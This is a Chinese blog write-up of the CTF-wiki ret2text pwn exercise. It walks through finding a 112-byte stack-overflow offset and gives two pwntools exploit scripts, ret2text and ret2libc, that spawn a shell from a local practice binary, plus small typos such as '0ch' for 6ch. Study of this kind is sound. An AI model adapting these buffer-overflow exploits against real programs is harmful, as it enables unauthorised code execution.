zoukankan      html  css  js  c++  java
  • ctfwiki-pwn:Basic ROP(ret2text)

    实验程序:ret2text

    使用IDA PRO反汇编:

     

     

    拿到进入gett函数的call之后进行gdb调试,下这个call的断点,然后运行得到如图:

     

    s的地址=0xffffd0f0+0x1c=0xFFFFD10C
    s到ebp的偏移地址:0xffffd178-0xFFFFD10C=6ch

    得到s到ebp的偏移地址,+4就到ebp,再+4就到ret了,即s到ret之前的填充为0ch+4=112

    在 secure 函数又发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。

    解题方法一:使用ret2text编写EXP (ret2text即控制程序执行程序本身已有的的代码 (.text))

    from pwn import *
    context(log_level='debug',arch='i386',os='linux')
    io=process('./ret2text')
    offset=112
    shell=0x0804863A
    io.recvuntil('There is something amazing here, do you know anything?')
    payload='a'*offset+p32(shell)
    io.sendline(payload)
    io.interactive()

    解题方法二:使用ret2libc编写EXP(当程序没有system或者/bash/bin也能使用)

    from pwn import *
    context(log_level='debug',arch='i386',os='linux')
    io=process('./ret2text')
    offset=112
    libc_base=0xf7dc9000
    shell=libc_base+0x00045830
    bash=libc_base+0x00192352
    io.recvuntil('There is something amazing here, do you know anything?')
    payload='a'*offset+p32(shell)+p32(0xdeadbeef)+p32(bash)
    io.sendline(payload)
    io.interactive()
  • 相关阅读:
    1.1.9 如何从正文开始设置页眉页脚
    1.1.8 怎样在Word的页眉中插入一级标题
    1.1.5 在同一折线图中画2条曲线
    1.1.4 图片自动编号
    1.1.3 公式编号对齐
    1.1.2 一页摘要不分栏,正文分栏
    1.1.1 参考文献格式未满行直接换行
    kernel page_size
    kernel cpu_cur_freq
    kernel printk
  • 原文地址:https://www.cnblogs.com/luocodes/p/13917178.html
Copyright © 2011-2022 走看看